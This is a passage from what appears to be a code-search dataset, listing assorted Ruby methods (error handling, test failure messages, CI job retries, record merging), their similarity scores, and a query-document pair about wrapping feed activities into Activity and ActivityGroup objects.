errors.blank?\n\n # Otherwise, all items will be assumed to have failed.\n errors = errors.dup\n failed = {}\n\n # Errors associated with the position of the item in the request.\n by_index = errors.select { |idx| idx.is_a?(Integer) && records[idx-1] }\n if by_index.present?\n errors.except!(*by_index.keys)\n by_index.transform_keys! { |idx| manifest_item_id(records[idx-1]) }\n by_index.transform_values! { |msg| Array.wrap(msg) }\n failed.rmerge!(by_index)\n end\n\n # Errors associated with item submission ID.\n by_sid = errors.extract!(*records.map(&:submission_id))\n if by_sid.present?\n sid_id = records.map { |rec| [rec.submission_id, rec] }.to_h\n by_sid.transform_keys! { |sid| manifest_item_id(sid_id[sid]) }\n by_sid.transform_values! { |msg| Array.wrap(msg) }\n failed.rmerge!(by_sid)\n end\n\n # Remaining (general) errors indicate that there was a problem with the\n # request and that all items have failed.\n if errors.present?\n general = errors.values.presence || ['unknown error'] # TODO: I18n\n general = records.map { |rec| [manifest_item_id(rec), general] }.to_h\n failed.rmerge!(general)\n end\n\n return [], failed\n\n end", "def negative_failure_message\n return '' if found.nil? || found == []\n\n found_count = found.length\n found_string = found.map {|job| strategy.pretty_print_job(job) }.join(\"\\n\")\n if expected_count?\n job_count = expected_count\n job_word = expected_count == 1 ? 'job' : 'jobs'\n else\n job_count = 'any'\n job_word = 'jobs'\n end\n return [\n \"did not expect #{job_count} #{job_word} matching #{expected.to_s},\",\n \"found #{found_count}:\",\n found_string,\n ].join(' ')\n end", "def failure_message_preface=(_arg0); end", "def transform_validate_records_helper(expected_output, input, selected_counters, error_msg)\n\t\t# strip Timestamp key from Transformed record\n\t\ttransformed_processor_records = @@omi_lib.transform(input.to_json, selected_counters, \"testhost\", Time.now)\n\t\ttransformed_processor_records.each do |trans_record|\n\t\t\ttrans_record.tap{|x| x.delete(\"Timestamp\")}\n\t\tend\n\n\t\tassert_equal(expected_output.to_json, transformed_processor_records.to_json, error_msg)\n\tend", "def bad_contexts\n contexts.select { |context| !context.success? }\n end", "def classificateResult(label, sampleMap, foundAllArr)\n puts \"[classificateResult] started label #{label}\"\n foundArr = foundAllArr.select{|found| matchLabels?(found.label, label)}\n expRecognitionResult = Spnt::Exp::Data::ExpRecognitionResult.new()\n expRecognitionResult.falseNegative = []\n expRecognitionResult.falsePostive = []\n #missed = sampleArr - foundArr\n #1 step. filter that was found and transform to array\n substituted = sampleMap.select{|ekey, sample|\n if(matchLabels?( label, sample.label))\n nil == foundArr.detect{|found| sample.ekey == found.ekey && found.shouldStart != @@UNDEFINED_CELL} \n end\n }.collect { |k, v| v }\n deleted =foundArr.select{|found|\n found.foundStart == nil || found.foundStart == @@UNDEFINED_CELL \n }\n inserted =foundArr.select{|found|\n found.shouldStart == nil || found.shouldStart == @@UNDEFINED_CELL \n }\n \n puts \"[classificateResult] %s substituted: %i\" % [label, substituted.length]\n puts \"[classificateResult] %s deleted: %i\" % [label, deleted.length]\n puts \"[classificateResult] %s inserted: %i\" % [label, inserted.length]\n\n expRecognitionResult.falseNegative = (expRecognitionResult.falseNegative << substituted).flatten\n expRecognitionResult.falseNegative = (expRecognitionResult.falseNegative << deleted).flatten\n expRecognitionResult.falsePostive = (expRecognitionResult.falsePostive << inserted).flatten\n \n puts \"[classificateResult] %s falseNegative: %i\" % [label, expRecognitionResult.falseNegative.length]\n puts \"[classificateResult] %s falsePostive: %i\" % [label, expRecognitionResult.falsePostive.length]\n\n\n puts \"[classificateResult]substituted: \" + substituted.collect{|v| \" %i => %s[%s]\" % [v.id, v.ekey, v.foundStart]}.join(\"; \")\n\n# foundDuplicates = {}\n# expRecognitionResult.correct = foundArr.select{|found|\n# sample = sampleMap[found.ekey]\n# if(sample != nil && matchLabels?( label, found.label))\n# if(found.foundStart == nil)\n# #puts \"[classificateResult]falseNegative [#{found.ekey}] no start: #{sample.shouldStart} #{found.foundStart}\"\n# expRecognitionResult.falseNegative << sample\n# false\n# else\n# absStartDelta = (sample.shouldStart - found.foundStart).abs\n# absEndDelta = (sample.shouldEnd - found.foundEnd).abs\n# matched = sample.ekey == found.ekey && absStartDelta <= @@thresholdStart && absEndDelta <= @@thresholdEnd\n# if matched == true\n# foundDuplicateElement = foundDuplicates[found.ekey]\n# if foundDuplicateElement == nil\n# foundDuplicateElement = []\n# foundDuplicates[found.ekey] = foundDuplicateElement\n# end\n# foundDuplicateElement << found\n# #puts \"foundDuplicates[#{sample.ekey}] #{foundDuplicates[sample.ekey].length} #{matched && foundDuplicates[sample.ekey].length == 1}\"\n# end\n# matched && foundDuplicates[sample.ekey].length == 1\n# end\n# else\n# false\n# end\n# }\n #expRecognitionResult.falsePostive = foundArr.select{|found| !expRecognitionResult.correct.include?(found) && !expRecognitionResult.falseNegative.include?(found)}\n# expRecognitionResult.correct = foundArr.select{|found|\n# expRecognitionResult.falsePostive.include?(found) && expRecognitionResult.falseNegative.include?(found)\n# }\n expRecognitionResult.correct = foundArr.to_set - expRecognitionResult.falsePostive.to_set - expRecognitionResult.falseNegative.to_set;\n puts \"falsePostive[#{expRecognitionResult.falsePostive.length}] + falseNegative[#{expRecognitionResult.falseNegative.length}]+correct[#{expRecognitionResult.correct.length}] = foundArr[#{foundArr.length}]\"\n expRecognitionResult\n end", "def failed_examples_output notification\n failed_examples_output = notification.failed_examples.map do |example|\n failed_example_output example\n end\n build_examples_output(failed_examples_output)\n end", "def run_failed; end", "def dump_failure(counter, failure)\n end", "def dump_failure(counter, failure)\n end", "def do_failure; end", "def failure\n if $DEBUG\n @__num_of_tries ||= 1\n @__num_of_tries += 1\n end\n back_amb.pop.call\n end", "def unsolved_params\n \n end", "def action_processed(_action)\n @entities.each(&:unpass!)\n end", "def do_restrict(transition)\n Rails.logger.info \"Transitioning #{login} from #{transition.from} to #{transition.to} via #{transition.event} event. Failing rules: #{failing_rules.map(&:name).join(', ')}.\"\n if Rails.application.settings.enforce_rules\n self.disabled_teams = remove_from_internal_teams\n end\n end", "def process_end()\n if self.parser.options[:list_activities]\n @sp.activity_map.keys.sort.each { |ak| self.output.printf(\"#-- Activity %s\\n\", ak) }\n end\n\n if self.parser.options[:map_activities]\n @sp.activity_map.keys.sort.each do |ak|\n self.output.printf(\"#-- Activity %s\\n\", ak)\n self.activities_map[ak].each do |url|\n self.output.printf(\"#-- Park %s\\n\", url)\n end\n end\n end\n\n super()\n end", "def normalizeRunIds(results, experiment)\n results.each{|runId, stats|\n if (experiment == 'epinions')\n runId.insert(1, '')\n elsif (experiment == 'friendship')\n runId.insert(2, '')\n elsif (experiment == 'image-reconstruction')\n runId.insert(2, '')\n elsif (experiment == 'jester')\n runId.insert(1, '')\n elsif (experiment == 'nell-kgi')\n runId.insert(1, '')\n runId.insert(1, '')\n elsif (experiment == 'party-affiliation')\n runId.insert(2, '')\n elsif (experiment == 'party-affiliation-scaling')\n runId.insert(2, '')\n end\n\n # Also put in the dataset/experiment.\n runId.insert(0, experiment)\n }\nend", "def payload_for_failed\n {\n attachments: [{\n color: 'danger',\n title: 'Application deployment failed :fire::hankey:',\n fields: [{\n title: 'Environment',\n value: stage,\n short: true\n }, {\n title: 'Project',\n value: application,\n short: true\n }, {\n title: 'Branch',\n value: branch,\n short: true\n }, {\n title: 'Committer',\n value: deployer,\n short: true\n }],\n fallback: super[:text]\n }]\n }\n end", "def apply_custom_transformation\n end", "def clean_up_arrays\n self.likes.reject! {|l| l.empty? } if self.likes\n self.outdoor_activities.reject! {|l| l.empty? } if self.outdoor_activities\n self.nightlife.reject! {|l| l.empty? } if self.nightlife\n end", "def remove_bad_ident_matches(matches)\n passed_matches = []\n matches.each do |m|\n next if (m[\"match_type\"] == \"content_body\" &&\n m[\"matched_content\"] == \"(?-mix:Drupal)\")\n\n next if (m[\"match_type\"] == \"content_cookies\" &&\n m[\"matched_content\"] == \"(?i-mx:ADRUM_BTa)\" &&\n m[\"product\"] == \"Jobvite\")\n\n passed_matches << m\n end\n passed_matches\n end", "def build_failures\n @build_failures ||= build_results.body.select do |build_result|\n build_result['status'] == 'failed'\n end\n end", "def negative_failure_message\n matchers.map(&:negative_failure_message).join(\" and \")\n end", "def failure(failure_data)\n @current_status = :failure\n\n logger.error 'Failure(s) reported :'\n [*failure_data.errors].each { |e| logger.error \"\\t#{e}\" }\n\n add_failed_object(failure_data)\n\n failure_data.destroy_failed_object if(DataShift::Loaders::Configuration.call.destroy_on_failure)\n end", "def call_failure_app(env, opts = {})\n if env['warden'].custom_failure?\n opts[:original_response]\n else\n env[\"PATH_INFO\"] = \"/#{opts[:action]}\"\n env[\"warden.options\"] = opts\n\n # Call the before failure callbacks\n Warden::Manager._before_failure.each{|hook| hook.call(env,opts)}\n\n @failure_app.call(env).to_a\n end\n end", "def retry_failing_jobs\n projects.each do |project|\n project_id = project['id']\n @logger.info \"Checking Project ##{project_id} \\\"#{project['name']}\\\"...\"\n\n unpassing_jobs = latest_unpassing_jobs(project_id)\n unpassing_pipelines = latest_unpassing_pipelines(project_id)\n\n if unpassing_pipelines.empty?\n @all_pipelines_passing[project_id] = true\n @logger.info '- All pipelines passing'\n else\n @all_pipelines_passing[project_id] = false\n end\n\n if !unpassing_jobs.empty? && !unpassing_pipelines.empty?\n unpassing_jobs.each do |job|\n message = \"- Job ##{job['id']} ('#{job['name']}') \"\\\n \"on branch '#{job['ref']}' has status %s\"\n if ['failed', 'canceled', 'manual'].include?(job['status'])\n # Rerun individual jobs\n @logger.info format(message, \"'#{job['status']}'. Retrying...\")\n api(\"projects/#{project_id}/jobs/#{job['id']}/retry\", :post)\n else\n @logger.info format(message, \"'#{job['status']}'. Skipping retry.\")\n end\n end\n else\n unpassing_pipelines.each do |pipeline|\n message = \"- Pipeline ##{pipeline['id']} on branch \"\\\n \"'#{pipeline['ref']}' has status %s\"\n if ['failed', 'canceled', 'manual'].include?(pipeline['status'])\n # Rerun the whole pipeline\n @logger.info format(message, \"'#{pipeline['status']}'. Retrying...\")\n api(\"projects/#{project_id}/pipelines/#{pipeline['id']}/retry\", :post)\n else\n @logger.info format(message, \"'#{pipeline['status']}'. Skipping retry.\")\n end\n end\n end\n end\n\n exit_if_all_pipelines_passing\nend", "def generate_fail_message(results)\n msg = fail_message.dup\n unless results.empty?\n failed_items = results.map do |item|\n f_item = item[:failures]\n next if f_item.nil? || f_item == true || f_item == false\n f_item\n end.flatten.compact.map(&:to_s)\n unless failed_items.empty?\n msg = \"#{msg} (failures: `#{failed_items.join(\"`, `\")}`)\"\n end\n end\n msg\n end", "def fetchAnnotations(dataDir, outDir, trainingTriples)\n relations = Set.new(trainingTriples.map{|triple| triple[Constants::RELATION]})\n\n entities = []\n trainingTriples.each{|triple|\n entities << triple[Constants::HEAD]\n entities << triple[Constants::TAIL]\n }\n entities = Set.new(entities)\n\n annotations = ReverbLoad.annotations(File.join(dataDir, Reverb::ANNOTATIONS_FILE_RELPATH))\n testSet = []\n\n # TEST\n=begin\n annotations = []\n File.open('test2.txt', 'r'){|file|\n file.each{|line|\n parts = line.split(\"\\t\").map{|part| part.strip().downcase().gsub(' ', '_')}\n valid = parts.shift() == '1'\n parts.shift()\n\n parts[1], parts[2] = parts[2], parts[1]\n\n annotations << [\n parts,\n valid,\n 1.0\n ]\n }\n }\n=end\n\n # Go backwards.\n rejectedCount = 0\n (0...(annotations.size())).to_a().reverse().each{|i|\n annotation = annotations[i]\n\n if (!entities.include?(annotation[0][Constants::HEAD]))\n puts \"Rejecting annotation because head (#{annotation[0][Constants::HEAD]}) is not a known entity.\"\n annotations.delete_at(i)\n rejectedCount += 1\n next\n end\n\n if (!entities.include?(annotation[0][Constants::TAIL]))\n puts \"Rejecting annotation because tail (#{annotation[0][Constants::TAIL]}) is not a known entity.\"\n annotations.delete_at(i)\n rejectedCount += 1\n next\n end\n\n if (!entities.include?(annotation[0][Constants::RELATION]))\n puts \"Rejecting annotation because relation (#{annotation[0][Constants::RELATION]}) is not a known relaiton.\"\n annotations.delete_at(i)\n rejectedCount += 1\n next\n end\n }\n\n puts \"Rejected #{rejectedCount} / #{annotations.size() + rejectedCount} annotations for unknown components.\"\n\n # Write out the full annotations for reference.\n File.open(File.join(outDir, Reverb::ANNOTATIONS_RAW_FILENAME), 'w'){|file|\n file.puts(annotations.map{|annotation| annotation.flatten().join(\"\\t\")}.join(\"\\n\"))\n }\n\n # Remove negative examples.\n annotations.delete_if{|annotation| !annotation[1]}\n\n return annotations.map{|annotation| annotation[0]}\nend", "def filter(backtrace); end", "def filter(backtrace); end", "def _with_failed_locations(paths)\n failed_paths = failed_locations.map { |l| _location_path(l) }\n (paths | failed_paths).uniq\n end", "def keep_bc_errors\n # rubocop:disable Layout/LineLength\n keep_interesting_errors([I18n.t('errors.format_blank', attribute: I18n.t('activerecord.attributes.candidate_sheet.first_name')),\n I18n.t('errors.format_blank', attribute: I18n.t('activerecord.attributes.candidate_sheet.middle_name')),\n I18n.t('errors.format_blank', attribute: I18n.t('activerecord.attributes.candidate_sheet.last_name'))])\n # rubocop:enable Layout/LineLength\n end", "def clean_up_map map\n {\n id: map[0].to_i,\n release: map[1],\n unknown1: map[2],\n component: map[3],\n version: map[4],\n path1: map[5],\n path2: map[6],\n unknown2: map[7],\n mode: map[8],\n type: map[9].to_sym,\n unknown3: map[10]\n }\n end", "def process!()\n # Regarding updates or deletions of :badge_id\n # --------------------------------------------------------------------\n # This has to change only if it refers to a duplicate row;\n # that is, a row that will become a duplicate (and it will have to\n # be deleted) once that the update (and translation) process has been\n # completed.\n #\n # Thus, each linked entity that has a reference to one of these\n # possibly duplicate IDs has to be updated with the new destination value\n # (of which they are the duplicate); else, the value for :badge_id can stay untouched.\n\n merge_done = false\n if check\n process_text_log << \"\\r\\nMerging '#{ @slave_swimmer.complete_name }' (id: #{ @slave_swimmer.id}) => '#{@master_swimmer.complete_name}' (id: #{@master_swimmer.id })...\\r\\n\\r\\n\"\n sql_diff_text_log << \"-- Merging '#{ @slave_swimmer.complete_name }' (id: #{ @slave_swimmer.id}) => '#{@master_swimmer.complete_name}' (id: #{@master_swimmer.id })...\\r\\n\\r\\n\"\n\n # Define merge schema (involved entities)\n @involved_entities = SwimmerMerger.get_involved_entities\n\n # Collect entity row to merge\n @involved_entities.each do |involved_entity|\n collect_swimmer_inolved_entity( involved_entity )\n end\n\n # Collect badges to merge (both swimmers have badges for the same season)\n collect_badges_to_merge\n\n # N.B. Checks for some recalculation needed should be performed before update and delete phases\n # Check if Goggle Cup standards needs recalculation\n needs_goggle_cup_recalculation = needs_goggle_cup_recalculation?\n\n # Check if seasonal personal standards needs recalculation\n needs_season_personal_standard_recalculation = needs_season_personal_standard_recalculation?\n\n # Perform the merge: update and delete phases\n # Bail out from any of these, if something goes wrong:\n merge_done = update_phase! && create_alias_phase! && delete_phase! && execute_delete!( Swimmer )\n\n if merge_done\n if @row_collectors[ MeetingIndividualResult.table_name ].non_duplicates_rows.size > 0\n # Recalculate personal bests\n process_text_log << \"\\r\\n\\r\\nPersonal-bests recalculation needed...\\r\\n\"\n swimmer_best_updater = SwimmerPersonalBestUpdater.new( @master_swimmer )\n swimmer_best_updater.scan_for_personal_best!\n sql_diff_text_log << swimmer_best_updater.sql_diff_text_log\n process_text_log << \"Personal-bests recalculation done!\\r\\n\"\n end\n\n # TODO if needed, also recalculate goggle_cup_standards\n if needs_goggle_cup_recalculation\n process_text_log << \"\\r\\n\\r\\n*** I M P O R T A N T ***\\r\\n\"\n process_text_log << \"Goggle-cup standards recalculation needed...\\r\\n\"\n end\n\n # TODO if needed, also recalculate season_personal_standards\n if needs_season_personal_standard_recalculation?\n process_text_log << \"\\r\\n\\r\\n*** I M P O R T A N T ***\\r\\n\"\n process_text_log << \"Season personal standards recalculation needed...\\r\\n\"\n end\n end\n end\n merge_done\n end", "def failure_message_when_negated\n actual = prettify_args(@actual)\n matcher = prettify_matcher(@metadata[:name])\n\n if @metadata[:args].count > 0\n args = prettify_args(*@metadata[:args])\n\n \"'#{actual}' should not #{matcher} '#{args}'\"\n else\n \"'#{actual}' should not #{matcher}\"\n end\n end", "def failure_message\n @failures.map(&:failure_message).join(\" and \")\n end", "def alter(m_wfid, m_error, m_action, msg, tracker)\n\n case tracker['msg'].delete('_alter')\n when 'merge' then msg.merge!(tracker['msg'])\n #else ...\n end\n end", "def build_execution_errors_for_incomplete_cms_criteria(execution)\n program_criteria.each do |crit|\n next if crit.criterion_verified\n\n msg_type = crit.criterion_optional ? :warning : :error\n msg = if msg_type == :warning\n \"Warning - #{crit.criterion_name} not complete\"\n else\n \"#{crit.criterion_name} not complete\"\n end\n execution.execution_errors.build(message: msg, msg_type:, validator: 'Validators::ProgramCriteriaValidator')\n end\n end", "def transform_move_actions(actions)\n actions.map do |action|\n action[:infer_content] = true if action[:content].nil?\n\n action\n end\n end", "def chain_uncover!\n Field::Analyzer.new(field).uncover_strategy_from(self).tap do |locations|\n\n locations.each do |loc|\n loc.state= 'uncovered'\n loc.user_id = user_id\n end\n\n field.locations.\n where(id: locations.map(&:id)).\n update_all( user_id: user_id,\n state: :uncovered,\n updated_at: Time.now )\n end\n end", "def apply(template)\n failures = collect_failures(template)\n if failures.empty?\n true\n else\n failures.map do |failure|\n failure[:rule].generate_fail_message(failure[:result])\n end\n end\n end", "def remove_errant_matches_from(pot_ex_array)\n correct_match_arr = []\n pot_ex_array.each do |example|\n constituents = example.construct_constituents_array\n constituents.each do |const_array|\n if const_array[0] == self.word && const_array[1] == self.hiragana && const_array[3] == self.reading # For this to work, the constituents have to be normalized to dictionary_forms.\n correct_match_arr << example\n end\n end\n end\n return correct_match_arr\n end", "def map_to_context!(context)\n @index_steps.each do |index_step|\n # Don't bother if we're skipping this record\n break if context.skip?\n\n context.index_step = index_step\n accumulator = log_mapping_errors(context, index_step) do\n index_step.execute(context) # will always return [] for an each_record step\n end\n\n if accumulator.size > 0\n accumulator.compact!\n (context.output_hash[index_step.field_name] ||= []).concat accumulator\n end\n\n context.index_step = nil\n end\n\n return context\n end", "def map_to_context!(context)\n @index_steps.each do |index_step|\n # Don't bother if we're skipping this record\n break if context.skip?\n\n context.index_step = index_step\n accumulator = log_mapping_errors(context, index_step) do\n index_step.execute(context) # will always return [] for an each_record step\n end\n\n if accumulator.size > 0\n accumulator.compact!\n (context.output_hash[index_step.field_name] ||= []).concat accumulator\n end\n\n context.index_step = nil\n end\n\n return context\n end", "def normalize_testcases(body, idx, decoder)\n prev = ''\n body.each do |l|\n if l[idx].empty?\n l[idx] = prev\n else\n if l[idx].strip.match(/^-+$/)\n l[idx] = :dont_care\n else\n l[idx] = decode(decoder, l[idx])\n end\n prev = l[idx]\n end\n end\n end", "def miss_reason; end", "def fail_on_unevaluated\n fail_on_unevaluated_overrides\n fail_on_unevaluated_resource_collections\n end", "def handoff_old\n\t\t@workflows = [] #WorkFlow.where(is_active: true, is_in_use: false)\n\t\t@holidays = []\n\t\t@reason_codes = []\n\t\t@days_at_ia_approved = 0\n\t\t@days_at_ecr_inbox = 0\n\t\t@days_at_sent_to_collab = 0\n\t\t@days_at_station8_sent = 0\n\t\t@days_at_crb_started = 0\n\t\t@days_at_ecn_released = 0\n\n\t\t@pred_of_ia_approved = ''\n\t\t@pred_of_ecr_inbox = ''\n\t\t@pred_of_sent_to_collab = ''\n\t\t@pred_of_station8_sent = ''\n\t\t@pred_of_crb_started = ''\n\t\t@pred_of_ecn_released = ''\n\n\n\t\t@workflow.holidays.each do |holiday|\n\t @holidays << holiday\n\t end\n\n\t\tworkflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\tworkflows.each do |wk|\n\t\t\t@workflows << wk\n\t\tend\n\n\t\t@filtered_station_steps = []\n\t filtered_station_steps = @workflow.report_filter_steps.eager_load(:station_step => [:workflow_station]).order(:sequence)\n\t\tfiltered_station_steps.each do |fss|\n\t\t\t@filtered_station_steps << fss\n\t\t\tif fss.station_step_id == 1\n\t\t\t\t@days_at_ia_approved = fss.duration_days\n\t\t\t\t@pred_of_ia_approved = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 7\n\t\t\t\t@days_at_ecr_inbox = fss.duration_days\n\t\t\t\t@pred_of_ecr_inbox = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 5\n\t\t\t\t@days_at_sent_to_collab = fss.duration_days\n\t\t\t\t@pred_of_sent_to_collab = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 15\n\t\t\t\t@days_at_station8_sent = fss.duration_days\n\t\t\t\t@pred_of_station8_sent = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 17\n\t\t\t\t@days_at_crb_started = fss.duration_days\n\t\t\t\t@pred_of_crb_started = fss.predecessors\n\t\t\tend\n\t\t\tif fss.station_step_id == 19\n\t\t\t\t@pred_of_ecn_released = fss.predecessors\n\t\t\tend\n\n\t\tend\n\n\t\t@stationSteps = []\n\t\tstation_steps = StationStep.eager_load(:workflow_station)\n\t\tstation_steps.each do |stp|\n\t\t\t@stationSteps << stp\n\t\tend\n\n \tif request.post?\n \t\tparams_list = params\n \t\tsearch\n \t\tsession[:report_wildcard] = params[:wildcard]\n\t\t session[:report_exact] = params[:exact]\n\n \t\tsession[:params_search] = params_list \n \t\t\tsearch_parm = search_csv(params_list)\n \t\telse\n \t\t\tparams_list = session[:params_search]\n\t\t if session[:report_wildcard].present?\n\t\t @wildcard = session[:report_wildcard]\n\t\t end\n\t\t if session[:report_exact].present?\n\t\t @exact = session[:report_exact]\n\t\t end\n\n\t\t if params_list.present?\n \t\t\t\tsearch_parm = search_csv(params_list)\n \t\t\tend\n \t\tend\t\n\n \t\tif params_list.present?\n\t \t\tbu = search_parm[0]\n\t \t\tl1 = search_parm[1]\n\t \t\tl2 = search_parm[2]\n\t \t\tl3 = search_parm[3]\n\t\t\t\n\t\t\tif params_list[:report_include_canceled].presence\n\t \t\tinclude_cancel = true\n\t \t\t@report_include_canceled = 'report_include_canceled'\n\t \telse\n\t \t\tinclude_cancel = false\n\t \tend\n\t \tif params_list[:report_include_onhold].presence\n\t \t\tinclude_onhold = true\n\t \t\t@report_include_onhold = 'report_include_onhold'\n\t \telse\n\t \t\tinclude_onhold = false\n\t \tend\n\t\t\tif params_list[:report_include_completed].presence\n\t \t\tinclude_completed = true\n\t \t\t@report_include_completed = 'report_include_completed'\n\t \telse\n\t \t\tinclude_completed = false\n\t \tend\t\n\n\t\t\tputs \"----:#{bu}---: #{l1}---:#{l2}---:#{l3}----:#{include_cancel}----:#{include_onhold}----:#{include_completed}\"\n\t \t\t@serach_result = []\n\t \t\tserach_result = WorkFlow.handoff_report_stored_procedure(bu, l1, l2, l3, include_completed, include_cancel, include_onhold)\n \t\t\tserach_result.each do |result|\n \t\t\t\t@serach_result << result\n \t\t\tend\n\n \t\tend\n \tend", "def post_fail_message; end", "def invalid_brand_sets\n invalid_brand_name_sets.collect do |brand_name_set|\n invalid_brand_set(brand_name_set)\n end\n end", "def after_test_fail_if_violations_proc\n Proc.new do\n begin\n if TPhases.config.collect_mode_failures_on && !TPhases.violations.empty?\n\n fail_message = \"This spec had #{TPhases.violations.count} transactional violations:\\n\"\n TPhases.violations.each_with_index.map do |violation, index|\n fail_message << \"*\"*50 + \"\\n\"\n fail_message << \"Violation ##{index+1}, type: #{violation[:type]}\\n\"\n fail_message << \"SQL: #{violation[:sql]}\\n\"\n fail_message << \"Call Stack: \\n\\t\\t#{TPhases.cleaned_call_stack(violation[:call_stack]).join(\"\\n\\t\\t\")}\\n\"\n end\n\n fail fail_message\n end\n ensure\n TPhases.violations = [] # reset violations list\n end\n end\n\n end", "def example_failed(notification)\n add_row(test_information(notification).merge(pass: 0))\n end", "def warnings_to_annotations\n results = @undercover_report.flagged_results\n log \"posting warnings: #{results}\"\n results.map do |result|\n # TODO: duplicates pronto-undercover logic, move to Undercover::Result\n lines = result.coverage.map { |ln, *| ln if result.uncovered?(ln) }.compact.uniq\n message = \"#{result.node.human_name.capitalize} `#{result.node.name}` is missing\" \\\n \" coverage for line#{'s' if lines.size > 1} #{format_lines(lines).join(',')}\" \\\n \" (node coverage: #{result.coverage_f}).\"\n\n lines_missing_branch_cov = result.coverage.map do |ln, _block, _branch, cov|\n ln if cov&.zero?\n end.compact.uniq\n if lines_missing_branch_cov.any?\n message += \"\\nMissing branch coverage found in line#{'s' if lines_missing_branch_cov.size > 1} \" \\\n \"#{format_lines(lines_missing_branch_cov).join(',')}.\"\n end\n {\n path: result.file_path,\n start_line: result.first_line,\n end_line: result.last_line,\n annotation_level: \"warning\",\n title: \"Untested #{result.node.human_name}\",\n message:,\n raw_details: result.pretty_print\n }\n end\n end", "def failures\n ran_tests.select { |t| !t.passed? } + subcontexts.map { |s| s.failures }.flatten\n end", "def clear\n trace.elegibility.transform_values { |_| 0 }\n trace.extended.each_value do |ext|\n ext.transform_values { |_| 0 }\n end\n\n error.responsibility = error.projected = error.gated = 0\n end" ]
[ "0.5598776", "0.5469256", "0.53143686", "0.5301837", "0.5102687", "0.5044776", "0.49852848", "0.49751726", "0.4971074", "0.49709132", "0.49709132", "0.49709132", "0.49598736", "0.49502075", "0.49274528", "0.4922312", "0.4909984", "0.4887382", "0.48568442", "0.4835167", "0.4798186", "0.475702", "0.4746304", "0.47429985", "0.47371146", "0.47369084", "0.47369084", "0.4735291", "0.4678096", "0.46705294", "0.46698895", "0.4662873", "0.4662873", "0.4654044", "0.4654044", "0.4654044", "0.46483952", "0.4623948", "0.46142808", "0.4607687", "0.4607687", "0.46053308", "0.4596609", "0.45936003", "0.45914525", "0.4579668", "0.45736676", "0.45707878", "0.45675224", "0.4557832", "0.4547648", "0.4546639", "0.45417035", "0.4541486", "0.4541486", "0.4539326", "0.45252272", "0.45249104", "0.45217147", "0.45155483", "0.45063013", "0.44922048", "0.44888884", "0.4487688", "0.44798812", "0.44794834", "0.44722012", "0.44697973", "0.44688842", "0.44678715", "0.4457308", "0.44564426", "0.44489083", "0.44467518", "0.44467518", "0.444511", "0.44449714", "0.4434451", "0.44315398", "0.4423057", "0.44228846", "0.4420057", "0.4417218", "0.44136336", "0.4412281", "0.44120768", "0.44117382", "0.44072032", "0.44072032", "0.43985173", "0.43972757", "0.43949065", "0.4390493", "0.4384237", "0.4383182", "0.4380378", "0.43800792", "0.4375761", "0.4375659", "0.4375515" ]
0.54730546
1
Wrap activities in Feed::Activity and Feed::ActivityGroup instances
def wrap(activities) activities.map do |act| if act['activities'] # Feed::ActivityGroup automatically converts activites in it Feed::ActivityGroup.new(opts[:feed], act) else Feed::Activity.new(opts[:feed], act) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def activities_for(filter: nil, type: _feed_type)\n Feed::ActivityList.new(self).filter(filter).with_type(type)\n end", "def add_activity\n # if !self.commentable.is_a?(Activity) # don't add comments to the activity feed that are comments on the items in the activity feed.\n content = I18n.t('muck.comments.new_comment')\n add_activity(self, self, self, 'comment', '', content)\n end", "def add_activity(activity)\n self.activities << activity\n end", "def add_activity(activity)\n @activities << activity\n return self\n end", "def add_activity(activity)\n act = activity.as_json\n write_feed.add_activity(act)\n end", "def parse_activity(entry)\n # Figure out what kind of activity we have\n video_type = nil\n parsed_activity = nil\n entry.css(\"category\").each do |category_tag|\n if category_tag[\"scheme\"] == \"http://gdata.youtube.com/schemas/2007/userevents.cat\"\n video_type = category_tag[\"term\"]\n end\n end\n\n if video_type\n case video_type\n when \"video_rated\"\n parsed_activity = YouTubeIt::Model::Activity.new(\n :type => \"video_rated\",\n :time => entry.at(\"updated\") ? entry.at(\"updated\").text : nil,\n :author => entry.at(\"author/name\") ? entry.at(\"author/name\").text : nil,\n :videos => parse_activity_videos(entry),\n :video_id => entry.at_xpath(\"yt:videoid\") ? entry.at_xpath(\"yt:videoid\").text : nil\n )\n when \"video_shared\"\n parsed_activity = YouTubeIt::Model::Activity.new(\n :type => \"video_shared\",\n :time => entry.at(\"updated\") ? entry.at(\"updated\").text : nil,\n :author => entry.at(\"author/name\") ? entry.at(\"author/name\").text : nil,\n :videos => parse_activity_videos(entry),\n :video_id => entry.at_xpath(\"yt:videoid\") ? entry.at_xpath(\"yt:videoid\").text : nil\n )\n when \"video_favorited\"\n parsed_activity = YouTubeIt::Model::Activity.new(\n :type => \"video_favorited\",\n :time => entry.at(\"updated\") ? entry.at(\"updated\").text : nil,\n :author => entry.at(\"author/name\") ? entry.at(\"author/name\").text : nil,\n :videos => parse_activity_videos(entry),\n :video_id => entry.at_xpath(\"yt:videoid\") ? entry.at_xpath(\"yt:videoid\").text : nil\n )\n when \"video_commented\"\n # Load the comment and video URL\n comment_thread_url = nil\n video_url = nil\n entry.css(\"link\").each do |link_tag|\n case link_tag[\"rel\"]\n when \"http://gdata.youtube.com/schemas/2007#comments\"\n comment_thread_url = link_tag[\"href\"]\n when \"http://gdata.youtube.com/schemas/2007#video\"\n video_url = link_tag[\"href\"]\n else\n # Invalid rel type, do nothing\n end\n end\n\n parsed_activity = YouTubeIt::Model::Activity.new(\n :type => \"video_commented\",\n :time => entry.at(\"updated\") ? entry.at(\"updated\").text : nil,\n :author => entry.at(\"author/name\") ? entry.at(\"author/name\").text : nil,\n :videos => parse_activity_videos(entry),\n :video_id => entry.at_xpath(\"yt:videoid\") ? entry.at_xpath(\"yt:videoid\").text : nil,\n :comment_thread_url => comment_thread_url,\n :video_url => video_url\n )\n when \"video_uploaded\"\n parsed_activity = YouTubeIt::Model::Activity.new(\n :type => \"video_uploaded\",\n :time => entry.at(\"updated\") ? entry.at(\"updated\").text : nil,\n :author => entry.at(\"author/name\") ? entry.at(\"author/name\").text : nil,\n :videos => parse_activity_videos(entry),\n :video_id => entry.at_xpath(\"yt:videoid\") ? entry.at_xpath(\"yt:videoid\").text : nil\n )\n when \"friend_added\"\n parsed_activity = YouTubeIt::Model::Activity.new(\n :type => 